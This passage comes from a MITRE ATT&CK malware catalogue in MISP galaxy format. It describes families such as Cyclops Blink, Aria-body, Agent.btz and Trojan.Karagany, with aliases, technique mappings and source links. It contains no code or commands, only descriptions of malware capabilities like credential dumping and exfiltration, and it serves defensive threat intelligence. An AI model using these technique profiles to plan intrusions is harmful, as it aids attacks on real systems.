- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5173. Table References

Links
https://attack.mitre.org/software/S0558
https://www.zscaler.com/blogs/security-research/tiktok-spyware

Cyclops Blink - S0687

[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)

The tag is: *misp-galaxy:mitre-malware="Cyclops Blink - S0687"*

Cyclops Blink - S0687 is also known as:

- Cyclops Blink

View relationships graph

Cyclops Blink - S0687 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Firmware - T1542.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5174. Table References

Links
https://attack.mitre.org/software/S0687
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html

Trojan-SMS.AndroidOS.FakeInst.a - S0306

[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.FakeInst.a - S0306"*

Trojan-SMS.AndroidOS.FakeInst.a - S0306 is also known as:

- Trojan-SMS.AndroidOS.FakeInst.a

View relationships graph

Trojan-SMS.AndroidOS.FakeInst.a - S0306 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 5175. Table References

Links
https://attack.mitre.org/software/S0306
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.Agent.ao - S0307

[Trojan-SMS.AndroidOS.Agent.ao](https://attack.mitre.org/software/S0307) is Android malware.

(Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.Agent.ao - S0307"*

Trojan-SMS.AndroidOS.Agent.ao - S0307 is also known as:

- Trojan-SMS.AndroidOS.Agent.ao

View relationships graph

Trojan-SMS.AndroidOS.Agent.ao - S0307 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 5176. Table References

Links
https://attack.mitre.org/software/S0307
https://securelist.com/mobile-malware-evolution-2013/58335/

Trojan-SMS.AndroidOS.OpFake.a - S0308

[Trojan-SMS.AndroidOS.OpFake.a](https://attack.mitre.org/software/S0308) is Android malware. (Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-malware="Trojan-SMS.AndroidOS.OpFake.a - S0308"*

Trojan-SMS.AndroidOS.OpFake.a - S0308 is also known as:

- Trojan-SMS.AndroidOS.OpFake.a

View relationships graph

Trojan-SMS.AndroidOS.OpFake.a - S0308 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

Table 5177. Table References

Links
https://attack.mitre.org/software/S0308
https://securelist.com/mobile-malware-evolution-2013/58335/

Mis-Type - S0084

[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="Mis-Type - S0084"*

Mis-Type - S0084 is also known as:

- Mis-Type

View relationships graph

Mis-Type - S0084 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5178. Table References

Links
https://attack.mitre.org/software/S0084
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

S-Type - S0085

[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="S-Type - S0085"*

S-Type - S0085 is also known as:

- S-Type

View relationships graph

S-Type - S0085 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5179. Table References

Links
https://attack.mitre.org/software/S0085
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

Hi-Zor - S0087

[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)

The tag is: *misp-galaxy:mitre-malware="Hi-Zor - S0087"*

Hi-Zor - S0087 is also known as:

- Hi-Zor

View relationships graph

Hi-Zor - S0087 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5180. Table References

Links
https://attack.mitre.org/software/S0087
https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/

Miner-C - S0133

[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)

The tag is: *misp-galaxy:mitre-malware="Miner-C - S0133"*

View relationships graph

Miner-C - S0133 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Table 5181. Table References

Links
http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml
https://attack.mitre.org/software/S0133

Seth-Locker - S0639

[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)

The tag is: *misp-galaxy:mitre-malware="Seth-Locker - S0639"*

Seth-Locker - S0639 is also known as:

- Seth-Locker

View relationships graph

Seth-Locker - S0639 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5182. Table References

Links
https://attack.mitre.org/software/S0639

https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

Aria-body - S0456

[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)

The tag is: *misp-galaxy:mitre-malware="Aria-body - S0456"*

Aria-body - S0456 is also known as:

- Aria-body

View relationships graph

Aria-body - S0456 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5183. Table References

Links
https://attack.mitre.org/software/S0456
https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/

Android/Chuli.A - S0304

[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)

The tag is: *misp-galaxy:mitre-malware="Android/Chuli.A - S0304"*

Android/Chuli.A - S0304 is also known as:

- Android/Chuli.A

View relationships graph

Android/Chuli.A - S0304 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5184. Table References

Links
https://attack.mitre.org/software/S0304
https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/

AndroidOS/MalLocker.B - S0524

[AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)

The tag is: *misp-galaxy:mitre-malware="AndroidOS/MalLocker.B - S0524"*

AndroidOS/MalLocker.B - S0524 is also known as:

- AndroidOS/MalLocker.B

View relationships graph

AndroidOS/MalLocker.B - S0524 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with

estimative-language:likelihood-probability="almost-certain"

Table 5185. Table References

Links
https://attack.mitre.org/software/S0524
https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/

Android/AdDisplay.Ashas - S0525

[Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)

The tag is: *misp-galaxy:mitre-malware="Android/AdDisplay.Ashas - S0525"*

Android/AdDisplay.Ashas - S0525 is also known as:

- Android/AdDisplay.Ashas

View relationships graph

Android/AdDisplay.Ashas - S0525 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5186. Table References

Links
https://attack.mitre.org/software/S0525
https://www.welivesecurity.com/2019/10/24/tracking-down-developer-android-adware/

Trojan.Mebromi - S0001

[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)

The tag is: *misp-galaxy:mitre-malware="Trojan.Mebromi - S0001"*

Trojan.Mebromi - S0001 is also known as:

- Trojan.Mebromi

View relationships graph

Trojan.Mebromi - S0001 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 5187. Table References

Links
http://www.symantec.com/connect/blogs/bios-threat-showing-again
https://attack.mitre.org/software/S0001

ANDROIDOS_ANSERVER.A - S0310

[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)

The tag is: *misp-galaxy:mitre-malware="ANDROIDOS_ANSERVER.A - S0310"*

ANDROIDOS_ANSERVER.A - S0310 is also known as:

- ANDROIDOS_ANSERVER.A

View relationships graph

ANDROIDOS_ANSERVER.A - S0310 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 5188. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/
https://attack.mitre.org/software/S0310

Agent.btz - S0092

[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)

The tag is: *misp-galaxy:mitre-malware="Agent.btz - S0092"*

Agent.btz - S0092 is also known as:

- Agent.btz

View relationships graph

Agent.btz - S0092 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5189. Table References

Links
https://attack.mitre.org/software/S0092
https://securelist.com/agent-btz-a-source-of-inspiration/58551/

Backdoor.Oldrea - S0093

[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017)

The tag is: *misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"*

Backdoor.Oldrea - S0093 is also known as:

- Backdoor.Oldrea
- Havex

View relationships graph

Backdoor.Oldrea - S0093 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5190. Table References

Links
https://attack.mitre.org/software/S0093
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers
https://vblocalhost.com/uploads/VB2021-Slowik.pdf

Trojan.Karagany - S0094

[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY)

The tag is: *misp-galaxy:mitre-malware="Trojan.Karagany - S0094"*

Trojan.Karagany - S0094 is also known as:

- Trojan.Karagany
- xFrost
- Karagany

View relationships graph

Trojan.Karagany - S0094 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
